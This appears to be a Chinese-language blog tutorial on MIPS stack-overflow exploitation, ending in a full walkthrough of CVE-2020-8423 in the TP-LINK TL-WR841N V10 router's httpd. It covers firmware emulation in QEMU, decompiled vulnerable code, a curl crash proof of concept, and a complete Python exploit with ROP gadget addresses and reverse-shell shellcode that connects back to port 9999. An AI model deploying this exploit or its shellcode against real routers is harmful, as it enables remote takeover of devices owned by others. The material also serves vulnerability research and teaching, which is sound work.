* MIPS和MIPSEL是两种架构MIPS是大端序、MIPSEL是小端序。一般来说大端序列是主流的（和x86和arm相反），不过很多CTF题目都是小端序的。（大端调试需要在gdb和pwntools都特别设置，否则默认小端）
* 不支持NX（即使编译选项添加了也没有用）不支持NX即函数的栈/bss都是可执行的，当我们的写入栈中的shellcode能够被执行，大大降低了利用难度。
* 叶子函数和非叶子函数
* 在MIPS体系架构下，函数分为叶子函数和非叶子函数。MIPS函数的调用过程与x86不同，x86中函数A调用函数B时，会将A函数的地址压入堆栈中，等到函数B执行完毕返回A函数时候，再从堆栈中弹出函数A的地址。而MIPS中，如果是 **叶子函数** ，与x86是不同的，函数的返回地址是不会压入栈中的，而是会直接存入寄存器 **$ra** 中。如果是 **非叶子函数（即函数中还调用了其他函数）** ，则和x86类似，将地址存入栈中。
* 另外Mips是没有栈底指针的，只有一个$sp指向栈顶，并且不会像x86那样通过pop或者push调整指针，而是采用 **偏移寻址** 来访问变量。非叶子函数如图所示，在函数头部会将调用函数的返回地址即 **$ra** 存放在栈底（偏移4字节），而在函数快结束时会重新将该值取去出来，放入ra。在这个间段内，如果覆盖了函数栈底，就能够控制程序的流程。
而在叶子函数如下图所示，从函数被调用开始到函数jr ra返回调用函数，数据一直都在 **$ra**
寄存器中，所以理论上是无法利用的。但是如果缓冲区溢出的足够多，足够越过本函数的栈底，直到覆盖到调用函数的栈底，那么也是能够利用的。
* 内存中的数据访问（store/load）必须严格对齐（至少4字节）
* **流水线效应** ：本应顺序执行的几条指令同时执行，只不过处于不同的执行阶段（一般指令执行阶段包括：取指、间指、执行、中断）如下图所示，参考二次重叠执行方式，第一条指令在执行时候，第二条指令在分析，第三条指令在取指。举个栗子，流水线会在跳转指令(jal)导致 **分支延迟效应** ，任何一个分支跳转语句后面的那条语句叫做 **分支延迟槽** 。当它刚把要跳转到的地址填充好还没完成本条指令时，分支语句后面的那个指令（第三条指令）就执行了。所以下面strrchr函数的参数(`$a0`)实际上来自于`$0` 而不是来自于`$2`。这是在看Mips汇编的时候需要注意的。
mov $a0,$s2
jalr strrchr //arg $a0
mov $a0,$s0
* **缓存不一致性（cache incoherency）：** 指令Cache和数据Cache两者的同步需要一个时间来同步。需要调用Sleep来让shellcode从数据Cache刷新到指令Cache，否则会执行失败，不能像x86架构下直接跳转到shellcode，而是需要构造一条ROP链接，先调用sleep，然后在跳转到shellcode。
**栈溢出实例**
还是用我们一开始的vuln程序进行溢出
qemu运行
qemu-mipsel -g 9000 vuln aaaaaa
gdb远程调试
$ qemu-mipsel -g 9000 vuln
$ gdb-multiarch -q
(gdb) target remote 127.0.0.1:9000
对has_stack函数下断点。首先查看strcpy的两个参数，首先是strcpy的src，`lw
a1,56(s8)`即从s8寄存器（实际上值和sp是相同的，都是指向栈顶）数据偏移56（+56）的数据写入寄存器a1，即通过s8+56偏移可以获得地址0x76fff2c7，这个地址即存放我输入的aaaa数据。然后我们来看dest，即发生写入的地址，这个参数默认被放在a0里，即s8偏移24位。这样我们就能够计算需要多少数据能覆盖缓冲区了。
然后让我们运行到strcpy结束，能够看到我们写入的数据（sp偏移24）。而我们知道返回地址是sp偏移4位，因为这条汇编代码 `004003e8 34 00
bf af sw ra,local_4(sp)`，所以我们只需要写入20+4字节数据就能覆盖返回地址。
即下图所示的位置。
经过实际测试我们输入28+4个字节能够覆盖到返回地址，下图中也显示程序的流程被我们所控制。
接下来让我们写一个简单的exploit，运行exp就能获得shell（不过不是qemu里面的shell，而是系统的shell，这点很奇怪，也许是qemu用户模式并没有挂文件系统和内核的缘故）
from pwn import *
context.binary = "vuln"
back_door=0x0400390
payload=p32(0x12345678)*7+p32(back_door)
print(payload)
io=process(argv=["qemu-mipsel", "./vuln" , payload])
#context.log_level='Debug'
io.interactive()
这里贴上一个链接，方便指令集查阅<https://blog.csdn.net/gujing001/article/details/8476685>
## CVE-2020-8423
漏洞设备：TP-LINK TL-WR841N V10
漏洞原因：栈溢出
> CVE-2020-8423是TP-LINK路由器中http服务在解析用户HTTP头中字符串没有设置正确的缓冲区大小而导致的栈溢出。
### 配置运行环境
因为手头没有真机，所以我们选择用qemu来模拟路由器。
**Qemu System模式运行**
首先下载路由器对应版本的[固件](https://www.tp-link.com/no/support/download/tl-wr841n/v10/),然后使用binwalk对固件进行解压。
binwalk -Me TL-WR841N_V10_150310.zip
cd _TL-WR841N_V10_150310.zip.extracted/_wr841nv10_wr841ndv10_en_3_16_9_up_boot\(150310\).bin.extracted/squashfs-root/
首先我们需要桥接qemu，使得我们能够传输我们的文件系统squashfs-root到虚拟机中。这部分比较麻烦而且容易忘记，所以记录一下。启动系统用下面的命令就可以了(这个固件是32位的，请不要用64位qemu运行)。如果启动不起来或者很慢，重新下一下qcow2，可能之前的某些操作把镜像弄坏了。
sudo qemu-system-mips -M malta -kernel /home/migraine/Documents/vmlinux-2.6.32-5-4kc-malta -hda /home/migraine/Documents/debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic, -net tap -nographic
#更换内核(wget https://people.debian.org/\~aurel32/qemu/mips/vmlinux-3.2.0-4-4kc-malta)
sudo qemu-system-mips -M malta -kernel /home/migraine/Documents/vmlinux-3.2.0-4-4kc-malta -hda /home/migraine/Documents/debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic, -net tap -nographic
映射端口 -redir tcp:80::8080
**配置桥接**
我们需要将文件系统传入虚拟机中然后运行固件，为了能让qemu和宿主机传输文件，先要配置桥接网络([参考链接](https://www.cnblogs.com/pengdonglin137/p/5023340.html))
1.配置桥接网卡
安装bridge-utils和uml-utilities
sudo apt-get install bridge-utils
sudo apt-get install uml-utilities
然后修改/etc/network/interfacces为
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet manual
up ifconfig eth0 0.0.0.0 up
auto br0
iface br0 inet dhcp
bridge_ports eth0
bridge_stp off
bridge_maxwait 1
编辑/etc/qemu-ifup，使qemu在启动中自动将网卡(Default:tap0/tap1)加入到桥接网卡。这是关键的一步。
#!/bin/sh
echo "Executing /etc/qemu-ifup"
echo "Bringing up $1 for bridged mode..."
sudo /sbin/ifconfig $1 0.0.0.0 promisc up
echo "Adding $1 to br0..."
sudo /sbin/brctl addif br0 $1
#sudo ifconfig br0 10.211.55.6/24
sleep 3
重启后我们主机的ip会多一个桥接。
2.配置桥接网卡的地址
接着让我们设置桥接的地址。比如我目前宿主机（运行在parralell下）的地址是10.211.55.5，所以我使用命令 `ifconfig br0
10.211.55.6/24 up` 修改桥接网卡(或者在etc/qemu-ifup中加上`sudo ifconfig br0
10.211.55.6/24` ，这样只要qemu开启就会自动设置br0)。
然后我们在qemu中也用ifconfig设置ip为10.211.55.7/24，这样宿主机和qemu就能够相互ping通了。（只要在同一网段即可）
#在虚拟机内部
ifconfig eth0 10.211.55.7/24 up
#在虚拟机外部(设置桥接)
ifconfig br0 10.211.55.6/24 up
**需要注意的是：要保证qemu内的ip子网掩码和桥接网卡一致，否则虽然宿主机和qemu都可以访问桥接网卡，但是两者不能相互通信。**
尝试去ping宿主机。然后通过scp来传输文件。
root@debian-mips:~# ifconfig eth0 10.211.55.7/24 up
root@debian-mips:~# ifconfig
eth0 Link encap:Ethernet HWaddr 00:0c:29:ee:39:39
inet addr:10.211.55.6 Bcast:10.211.55.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:feee:3939/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:13 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:2862 (2.7 KiB)
Interrupt:10 Base address:0x1020
#将文件系统传入qemu虚拟机
scp -r squashfs-root/ [email protected]:~/
传输文件，然后在qemu中就能看到我们传输的文件了。
sshpass -p root scp -r squashfs-root/ [email protected]:~/
**挂载固件的文件系统**
挂载系统的proc到我们固件目录下的[proc](https://zhuanlan.zhihu.com/p/26923061).这样我们的程序在访问一些内核信息时候能够读取到，否则程序可能会运行错误。
# 挂载文件系统
mount --bind /proc squashfs-root/proc
# 更换root目录
chroot . bin/sh
/usr/bin/httpd
运行会报很多错误，参考H4lo师傅的方法hook一下函数来解决问题。将我们编译好的链接库通过scp传入到Qemu虚拟机中。
#mips-linux-gnu-gcc -shared -fPIC hook.c -o hook
#include<stdio.h>
#include<stdlib.h>
int system(const char *command){
printf("HOOK: system(\"%s\")",command);
return 1337;
}
int fork(void){
return 1337;
}
重新运行，遇到`/usr/bin/httpd: can't load library 'libc.so.6`这种问题，使用软链接解决即可。
# 挂载文件系统
$ mount --bind /proc squashfs-root/proc
# 更换root目录
$ cd squashfs-root/
$ chroot . bin/sh
$ LD_PRELOAD="/hook" /usr/bin/httpd
$ /usr/bin/httpd: can't load library 'libc.so.6'
$ ln -s libc.so.0 libc.so.6
$ LD_PRELOAD="/hook" /usr/bin/httpd
#gdb调试
export LD_PRELOAD="/hook"
#./gdbserver-7.12-mips-be 0.0.0.0:2333 /usr/bin/httpd #这个版本的gdb挂起有点问题
./gdbserver.mipsbe 0.0.0.0:2333 /usr/bin/httpd
进入Web后台界面时候，登陆账号（账号密码都是admin）
**其他问题**
* 设置桥接之后主机无法联网的问题初始化网桥时候将dns给删了,添加一下dns即可。修改文件 **/etc/resolvconf/resolv.conf.d/base**
nameserver 8.8.8.8
nameserver 8.8.4.4
执行更新
resolvconf -u
* ssh或者scp报错`Unable to negotiate with 10.211.55.8 port 22: no matching host key type found. Their offer: ssh-dss`添加参数`-oHostKeyAlgorithms=+ssh-dss -oKexAlgorithms=+diffie-hellman-group1-sha1`,比如：
$ ssh [[email protected]](mailto:[email protected]).8 -oHostKeyAlgorithms=+ssh-dss -oKexAlgorithms=+diffie-hellman-group1-sha1
$ sshpass -p root scp -oHostKeyAlgorithms=+ssh-dss -oKexAlgorithms=+diffie-hellman-group1-sha1 gdbserver-7.12-mips-be [[email protected]](mailto:[email protected]).8:~/
**gdb调试**
使用scp将gdbserver拷贝到squashfs-root目录下
scp r gdbserver.mipsbe [email protected]:~/squashfs-root/
使用gdbserver将httpd调试转发到2333端口
export LD_PRELOAD="/hook"
./gdbserver-7.12-mips-be 0.0.0.0:2333 /usr/bin/httpd
宿主机的gdb通过remote target进行远程调试。如果报错`Remote replied unexpectedly to
'vMustReplyEmpty': timeout`。需要将内核版本从vmlinux-2.6.32-5-4kc-malta更换为[vmlinux-3.2.0-4-4kc-malta](//people.debian.org/%5C~aurel32/qemu/mips/vmlinux-3.2.0-4-4kc-malta)
### 漏洞分析
用Ghidra逆向分析 _/usr/bin/httpd_ 文件, **stringModify**
包含三个参数，分别是dst、len、src，很明显是拷贝函数。经过分析可以知道stringModify主要用于拷贝string并且对其进行一定的过滤，包括对转义字符的修改，对于\r和\n的转义等。但是函数并没有包含对dst的检查，以及对len的限制，如果使用者dst创建的过小就有可能产生栈溢出ou。（就相当于一个对字符有一定转义作用的strcpy）
当然，还有一个最有趣，并且直接导致漏洞的是，生成`</br>`的时候，写入了4个字节的数字，但是记录长度的iVar3变量却只加了1，导致理论上我们能够输入len长度4倍大数据，这样能够直接对任何调用stringModify的函数产生缓冲区溢出。
参考poc中输入 _/%0A_ （或者 _/%0D_
）会而页面会输出`\/<br>`，(0x0a对应\n,0x0d对应\r)，可见我们出触法了生成`<br>`的代码。下面是这段代码经过stringModify转义分析。
**注意代码中只对单独存在的`\n`进行转义（连续的\n并不会触发这个漏洞点），这就是为什么我们输入的\n之间需要用其他符号隔开（经过实验证明，把\换成<之类的符号也可以溢出成功）。**（%0A转义成\n的部分我没有找到代码，但是理论上应该有一个函数在我们进入StringModify之前实现了转义，其实这个就是前端的基础编码。。）
转义前 | 转义后 | 输出
---|---|---
`/` | `\\/` | `\/`
`%0A` | `\n` | `<br>`
int stringModify(char *dst,int len,int src)
{
char cVar1; //作为临时存储src单个字节内容
char *pcVar2; //指向src的指针
int iVar3; //返回值（返回String的长度）
/*首先判断拷贝地址dst是否为0，将pcVar2指针指向src+1的位置*/
if ((dst == (char *)0x0) || (pcVar2 = (char *)(src + 1), src == 0)) {
iVar3 = -1;
}
else {
iVar3 = 0; //初始化返回值为0
while( true ) {
cVar1 = pcVar2[-1]; //访问拷贝来源src的首部，并且作出判断
if ((cVar1 == '\0') || (len <= iVar3)) break; //判断是否截断，长度是否一致
if (cVar1 == '/') { /*当字符是转移字符'\'时候*/
LAB_0043bb48:
*dst = '\\'; //判断转义字符'/'，并且将转义字符转化为'\\'
LAB_0043bb4c:
iVar3 = iVar3 + 1; //返回的length+1
dst = dst + 1; //dst指针向后移动一位
LAB_0043bb54:
*dst = pcVar2[-1]; //将转译字符的一位数据，添加也添加到dst中
dst = dst + 1; //dst指针继续向后移动
}
else {
if ('/' < cVar1) {
if ((cVar1 == '>') || (cVar1 == '\\')) goto LAB_0043bb48;
if (cVar1 == '<') {
*dst = '\\';
goto LAB_0043bb4c;
}
goto LAB_0043bb54;
}
if (cVar1 != '\r') {
if (cVar1 == '\"') goto LAB_0043bb48;
if (cVar1 != '\n') goto LAB_0043bb54;
}
/*将\r或者\n转化为html中的<br>*/
if ((*pcVar2 != '\r') && (*pcVar2 != '\n')) { //这部分检测src序列是否包含重复\r或者\n
*dst = '<';
dst[1] = 'b';
dst[2] = 'r';
dst[3] = '>';
dst = dst + 4; //写入4个字节，但是iVar3每次只会+1
}
}
iVar3 = iVar3 + 1;
pcVar2 = pcVar2 + 1;
}
*dst = '\0';
}
return iVar3;
}
让我们去源代码里搜索调用stringModify而可能产生栈溢出的地方。 于是我们找到了writePageParamSet函数。
void writePageParamSet(undefined4 param_1,char *param_2,int *param_3)
{
int iVar1;
undefined *puVar2;
undefined local_210 [512];
if (param_3 == (int *)0x0) {
HTTP_DEBUG_PRINT("basicWeb/httpWebV3Common.c:178","Never Write NULL to page, %s, %d",
"writePageParamSet",0xb2);
}
iVar1 = strcmp(param_2,"\"%s\","); //判断匹配字符串
if (iVar1 == 0) {
iVar1 = stringModify(local_210,0x200,param_3); //调用stringModify
if (iVar1 < 0) {
printf("string modify error!");
local_210[0] = 0;
}
puVar2 = local_210;
}
else {
iVar1 = strcmp(param_2,"%d,");
if (iVar1 != 0) {
return;
}
puVar2 = (undefined *)*param_3;
}
httpPrintf(param_1,param_2,puVar2);
return;
}
然后继续回溯，我们找到了会使得writePageParamSet调用stringModify的函数，
**UndefinedFunction_0045fa94**
。UndefinedFunction_0045fa94函数在取出ssid的时候，将ssid放入一个很小的缓冲区acStack3080中，并且没有对长度进行限制，导致能够产生栈溢出。
初学Ghidra，所以让我们分析一下他的变量分析方式，就拿我们溢出的缓冲区 **acStack3460**
来说，在Mips汇编的表示为0xcc(sp)，即距离栈顶（地址较小的那一端）0xcc距离的内存地址（buffer=sp+0xcc），让我们继续想下看，uint类型
**uStack3424** 的地址为0xe4(sp),即地址为sp+0xf0。两者之差(36)即acStack3460的默认空间。
让我们再找一找返回值的地址，0xe4c(sp)距离sp 0xe4c 个字节。
经过审计，我们发现通过ssid参数，我们可以写入超量的数据而不会被限制，当然，距离ret地址还是有一些远的，在调用`writePageParamSet(param_1,&DAT_00544d38,acStack3460,0);`会调用stringModify。将这个超量的数据写入writePageParamSet栈中的512字节的buffer，造成缓冲区溢出。另外，需要注意的是我们还需要设置其他几个参数，因为这几个参数在ssid(acStack3460)的缓冲区下面，如果设置为默认值0x1则会产生\x00而截断我们的超长数据。
0x00 | |
| ssid |
| |
0x24 | curRegion |
0x28 | channel |
0x2c | chanWidth |
0x30 | mode |
0x34 | wrr |
0x38 | sb |
0x3c | select |
0x40 | rate |
...
0x?? | return addr |
而代码中的`"/userRpm/popupSiteSurveyRpm.htm"`则提醒着我们在测试时url的目录为
_“/userRpm/popupSiteSurveyRpm.htm”_
代码做了一些删减，完整版见附录：
int UndefinedFunction_0045fa94(undefined4 param_1)
{
...
char acStack3460 [36]; //创建36字节的buffer
...
memset(acStack3460,0,0x44);
uStack3612 = 0;
pcVar9 = (char *)httpGetEnv(param_1,"ssid");//从http请求头中取出ssid
if (pcVar9 == (char *)0x0) {
acStack3460[0] = '\0';
}
else {
__n = strlen(pcVar9);/*将ssid的数据写入buffer中*/
strncpy(acStack3460,pcVar9,__n);//BufferOverflow
}
//顺便审计一下剩下的代码有没有漏洞
pcVar9 = (char *)httpGetEnv(param_1,"curRegion");
if (pcVar9 == (char *)0x0) {
uStack3424 = 0x11;
}
else {
uStack3612 = atoi(pcVar9);
if (uStack3612 < 0x6c) {
uStack3424 = uStack3612;
}
}
pcVar9 = (char *)httpGetEnv(param_1,"channel");
if (pcVar9 == (char *)0x0) {
uStack3420 = 6;
}
else {
uStack3612 = atoi(pcVar9);
if (uStack3612 - 1 < 0xf) {
uStack3420 = uStack3612;
}
}
pcVar9 = (char *)httpGetEnv(param_1,"chanWidth");
if (pcVar9 == (char *)0x0) {
uStack3416 = 2;
}
else {
uStack3612 = atoi(pcVar9);
if (uStack3612 - 1 < 3) {
uStack3416 = uStack3612;
}
}
pcVar9 = (char *)httpGetEnv(param_1,"mode");
if (pcVar9 == (char *)0x0) {
uStack3412 = 1;
}
else {
uStack3612 = atoi(pcVar9);
if (uStack3612 - 1 < 8) {
uStack3412 = uStack3612;
}
}
pcVar9 = (char *)httpGetEnv(param_1,&DAT_00548138);
if (pcVar9 != (char *)0x0) {
iVar1 = strcmp(pcVar9,"true");
if ((iVar1 == 0) || (iVar1 = atoi(pcVar9), iVar1 == 1)) {
uStack3408 = 1;
}
else {
uStack3408 = 0;
}
}
pcVar9 = (char *)httpGetEnv(param_1,&DAT_0054813c);
if (pcVar9 != (char *)0x0) {
iVar1 = strcmp(pcVar9,"true");
if ((iVar1 == 0) || (iVar1 = atoi(pcVar9), iVar1 == 1)) {
uStack3404 = 1;
}
else {
uStack3404 = 0;
}
}
pcVar9 = (char *)httpGetEnv(param_1,"select");
if (pcVar9 != (char *)0x0) {
iVar1 = strcmp(pcVar9,"true");
if ((iVar1 == 0) || (iVar1 = atoi(pcVar9), iVar1 == 1)) {
uStack3400 = 1;
}
else {
uStack3400 = 0;
}
}
pcVar9 = (char *)httpGetEnv(param_1,&DAT_00548140);
if (pcVar9 != (char *)0x0) {
iStack3396 = atoi(pcVar9);
}
httpPrintf(param_1,
"<SCRIPT language=\"javascript\" type=\"text/javascript\">\nvar %s = new Array(\n",
"pagePara");
writePageParamSet(param_1,&DAT_00544d38,acStack3460,0);
writePageParamSet(param_1,"%d,",&uStack3424,1);
writePageParamSet(param_1,"%d,",&uStack3420,2);
writePageParamSet(param_1,"%d,",&uStack3416,3);
writePageParamSet(param_1,"%d,",&uStack3412,4);
writePageParamSet(param_1,"%d,",&uStack3408,5);
writePageParamSet(param_1,"%d,",&uStack3404,6);
writePageParamSet(param_1,"%d,",&uStack3400,7);
writePageParamSet(param_1,"%d,",&iStack3396,8);
httpPrintf(param_1,"0,0 );\n</SCRIPT>\n");
httpPrintf(param_1,"<script language=JavaScript>\nvar isInScanning = 0;\n</script>");
if ((auStack3600[0] < 9) && ((1 << (auStack3600[0] & 0x1f) & 0x1c8U) != 0)) {
HttpWebV4Head(param_1,0,0);
pcVar9 = "/userRpm/popupSiteSurveyRpm_AP.htm";
}
else {
HttpWebV4Head(param_1,0,1);
pcVar9 = "/userRpm/popupSiteSurveyRpm.htm";
}
}
iVar1 = httpRpmFsA(param_1,pcVar9);
if (iVar1 == 2) {
return 2;
}
sVar10 = HttpErrorPage(param_1,10,0,0);
LAB_0045fa54:
return (int)sVar10;
}
我们使用curl发送HTTP请求给我们的路由器，测试漏洞是否存在。为了能够访问存在漏洞的服务，我们首先需要登陆，即我们需要抓取登陆后的 **Cookie**
（此处为 _%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D_ ）和 **path**
(此处为 _MKSRWOTBRLXMCITC_ )，然后作为发送参数。
使用curl来写入我们的payload，httpd发生段错误，并且程序控制流呗控制为0x61656161
curl -H 'Cookie: Authorization=Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D' 'http://10.211.55.8/YEHFDFSAMIIOATRA/userRpm/popupSiteSurveyRpm_AP.htm?mode=1000&curRegion=1000&chanWidth=100&channel=1000&ssid='$(python -c 'print( "/%0A"*0x55 + "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac")')''
很明显缓冲区溢出发生在函数writePageParamSet，并且在其返回的时候劫持了函数执行流。最后lw了四个寄存器ra,s2,s1,s1,s0，通过这个可以辅助判断我们发生溢出的大概位置。执行之后sp会加0x288，当然这条指令是在跳转之前执行的，因为指令流水线。
另外一边，我们看到页面打印出大量的`</br>`，也验证了我们之前的代码审计，writePageParamSet是将输入的数据写入Javascript的Param对象中。同时也通过1位字节换4位字节的方式写入超出界限的数据，如果要修补这个漏洞也很简单，只需要将缓冲区扩大四倍就行了，或者修改stringModify，让产生`</br>`的时候指针size+4而不是size+1。
经过计算payload每一位应为 **0x55*”/%0A”+2+s0+s1+s2+ra**
在溢出区域出放置地址我们就能够成功控制程序流。让我们用python实现一下poc.py
import requests
import socket
import socks
import urllib
default_socket = socket.socket
socket.socket = socks.socksocket
session = requests.Session()
session.verify = False
def exp(path,cookie):
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36(KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36",
"Cookie":"Authorization=Basic{cookie}".format(cookie=str(cookie))}
payload="/%0A"*0x55 + "abcdefghijklmn"+"\x78\x56\x34\x12"
params = {
"mode":"1000",
"curRegion":"1000",
"chanWidth":"100",
"channel":"1000",
"ssid":urllib.request.unquote(payload) #if python3
#urllib.unquote(payload) #if python2 (suggest)
}
url="http://10.211.55.8:80/{path}/userRpm/popupSiteSurveyRpm_AP.htm".format(path=str(path))
resp = session.get(url,params=params,headers=headers,timeout=10)
print (resp.text)
exp("AYEUYUFAXVOKELRC","%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D")
### 漏洞利用
接下来让我们为这个漏洞编写一下利用脚本，语言我们使用python2.7。
利用时要注意Mips架构下默认ASLR是不开启的，并且heap和sgack是可执行的，所以直接跳转到shellcode即可。不过由于缓存不一致性，我们需要使用ROP。
> 注意Mips是大端的，数据存放方式与小端是相反的。并且在gdb调试后后记得endian为big，否则断点是断不下来的。
**构造ROP链**
Mips指令集包含一种的 **[cache incoherency(缓存不一致性)](https://blog.senr.io/blog/why-is-my-perfectly-good-shellcode-not-working-cache-coherency-on-mips-and-arm)**
，指令Cache和数据Cache两者的同步需要一个时间来同步。需要调用Sleep来让shellcode从数据Cache刷新到指令Cache，否则会执行失败，不能像x86架构下直接跳转到shellcode，而是需要构造如下一条ROP链接，先调用sleep，然后在跳转到shellcode。
sleep(1) -> read_value_from_stack -> jump to stack(shellcode)
Mips的栈并没有pop和push，而是直接调用栈，ROP链构造和x86有一些区别，不过总体上逻辑应该是更加简单了，不过gadgets比较难找（因为全是寄存器操作）。
注意的是，pwntools需要专门设置为大端，否则默认小端。
context.endian = 'big'
**寻找gadgets**
经过上文的分析，我们知道我们能够布置栈，来控制s0～s2和ra寄存器。初始我们将ra覆盖为gadget1，用于修改寄存器$a0，将sleep函数的地址放在s2备用，将gadgets放在s1用于下一次跳转。另外，使用gadgets需要考虑流水线效应。
Gadget1，修改寄存器$a0（作为调用sleep的参数）
LOAD:0000E204 move $t9, $s1
LOAD:0000E208 jalr $t9 ; sysconf
LOAD:0000E20C li $a0, 3
Gadget2，完成两个功能，1.调用sleep函数，2.跳转到下一个gadgets。首先调用sleep函数（之前存放在s2中），并且结束之后sp会增加0x28字节。在结束之前也会修改ra等寄存器的值，不过这里需要注意的是0x28+var_10($sp)的意思是sp+0x28-0x10地址。（Mips是通过偏移来获得栈内参数的），这里也要先设置好ra的值。调用sleep之后，程序会跳转到ra指向的地址。
LOAD:00037470 move $t9, $s2
LOAD:00037474 lw $ra, 0x28+var_4($sp)
LOAD:00037478 lw $s2, 0x28+var_8($sp)
LOAD:0003747C lw $s1, 0x28+var_C($sp)
LOAD:00037480 lw $s0, 0x28+var_10($sp)
LOAD:00037484
LOAD:00037484 loc_37484: # DATA XREF: xdr_callhdr↓o
LOAD:00037484 jr $t9 ; xdr_opaque_auth
LOAD:00037488 addiu $sp, 0x28
#其实这段代码用gdb的反汇编看起来反而更加易懂一些
=> 0x77f70470: move t9,s2
0x77f70474: lw ra,36(sp)
0x77f70478: lw s2,32(sp)
0x77f7047c: lw s1,28(sp)
0x77f70480: lw s0,24(sp)
0x77f70484: jr t9
0x77f70488: addiu sp,sp,40
Gadget3，用于将栈底地址写入a1，即我们布置的shellcode的地址。
LOAD:0000E904 addiu $a1, $sp, 0x168+var_150
LOAD:0000E908 move $t9, $s1
LOAD:0000E90C jalr $t9 ; stat64
LOAD:0000E910 addiu $a0, (aErrorNetrcFile+0x28 - 0x60000)
Gadget4，跳转到shellcode
LOAD:000374D8 move $t9, $a1
LOAD:000374DC sw $v0, 0x4C($a0)
LOAD:000374E0 move $a1, $a2
LOAD:000374E4 jr $t9
LOAD:000374E8 addiu $a0, 0x4C # 'L'
**shellcode(连接本地9999端口)**
因为我们的数据\c3会被转义，一种方式是指令替换，另一种方式是指令逃逸。这里直接参考了师傅们的shellcode[参考地址](http://www.tearorca.top/index.php/2020/04/21/cve-2020-8423tplink-wr841n-%E8%B7%AF%E7%94%B1%E5%99%A8%E6%A0%88%E6%BA%A2%E5%87%BA)。
**Exploit**
布置好gadgets和shellcode，最后shellcode的内容是反弹到本地的9999端口，挂好httpd服务，获取目录地址和cookie作为exp的参数运行，利用成功只需在本地用nc连接一下即可。
**EXP.py**
#!/usr/bin/python
from pwn import *
import requests
import socket
import socks
import urllib
import struct
default_socket = socket.socket
socket.socket = socks.socksocket
session = requests.Session()
session.verify = False
context.endian = 'big'
libc_base=0x77f39000
sleep =0x53CA0 #end 00053ECC
#gadgets
g1=0x000E204 #0x77F47204
#LOAD:0000E204 move $t9, $s1
#LOAD:0000E208 jalr $t9 ; sysconf
#LOAD:0000E20C li $a0, 3
g2=0x00037470
#LOAD:00037470 move $t9, $s2
#LOAD:00037474 lw $ra, 0x28+var_4($sp)
#LOAD:00037478 lw $s2, 0x28+var_8($sp)
#LOAD:0003747C lw $s1, 0x28+var_C($sp)
#LOAD:00037480 lw $s0, 0x28+var_10($sp)
#LOAD:00037484
#LOAD:00037484 loc_37484:
#LOAD:00037484 jr $t9 ; xdr_opaque_auth
#LOAD:00037488 addiu $sp, 0x28
g3=0x0000E904 #0x77f47904
#LOAD:0000E904 addiu $a1, $sp, 0x168+var_150
#LOAD:0000E908 move $t9, $s1
#LOAD:0000E90C jalr $t9 ; stat64
#LOAD:0000E910 addiu $a0, (aErrorNetrcFile+0x28 - 0x60000)
g4=0x00374D8
#LOAD:000374D8 move $t9, $a1
#LOAD:000374DC sw $v0, 0x4C($a0)
#LOAD:000374E0 move $a1, $a2
#LOAD:000374E4 jr $t9
#LOAD:000374E8 addiu $a0, 0x4C # 'L'
shellcode="\x24\x0e\xff\xfd\x01\xc0\x20\x27\x01\xc0\x28\x27\x28\x06\xff\xff"
shellcode+="\x24\x02\x10\x57\x01\x01\x01\x0c\xaf\xa2\xff\xff\x8f\xa4\xff\xff"
shellcode+="\x34\x0e\xff\xff\x01\xc0\x70\x27\xaf\xae\xff\xf6\xaf\xae\xff\xf4"
shellcode+="\x34\x0f\xd8\xf0\x01\xe0\x78\x27\xaf\xaf\xff\xf2\x34\x0f\xff\xfd"
shellcode+="\x01\xe0\x78\x27\xaf\xaf\xff\xf0\x27\xa5\xff\xf2\x24\x0f\xff\xef"
shellcode+="\x01\xe0\x30\x27\x24\x02\x10\x4a\x01\x01\x01\x0c\x8f\xa4\xff\xff"
shellcode+="\x28\x05\xff\xff\x24\x02\x0f\xdf\x01\x01\x01\x0c\x2c\x05\xff\xff"
shellcode+="\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x0e\xff\xfd\x01\xc0\x28\x27"
shellcode+="\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x0e\x3d\x28\xaf\xae\xff\xe2"
shellcode+="\x24\x0e\x77\xf9\xaf\xae\xff\xe0\x8f\xa4\xff\xe2\x28\x05\xff\xff"
shellcode+="\x28\x06\xff\xff\x24\x02\x0f\xab\x01\x01\x01\x0c"
s0=p32(0x11111111)
s1=p32(g2+libc_base) # break
s2=p32(sleep+libc_base)
payload= "/%0A"*0x55 +2*'x'+s0 +s1 +s2
payload+=p32(g1+libc_base)
payload+='x'*28
payload+=p32(g4+libc_base) #s1
payload+=p32(0x33333333) #s2
payload+=p32(g3+libc_base) #ra
payload+='x'*24
payload+=shellcode
def exp(path,cookie):
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36(KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36",
"Cookie":"Authorization=Basic{cookie}".format(cookie=str(cookie))}
params = {
"mode":"1000",
"curRegion":"1000",
"chanWidth":"100",
"channel":"1000",
"ssid":urllib.unquote(payload)
}
url="http://10.211.55.8:80/{path}/userRpm/popupSiteSurveyRpm_AP.htm".format(path=str(path))
resp = session.get(url,params=params,headers=headers,timeout=10)
print (resp.text)
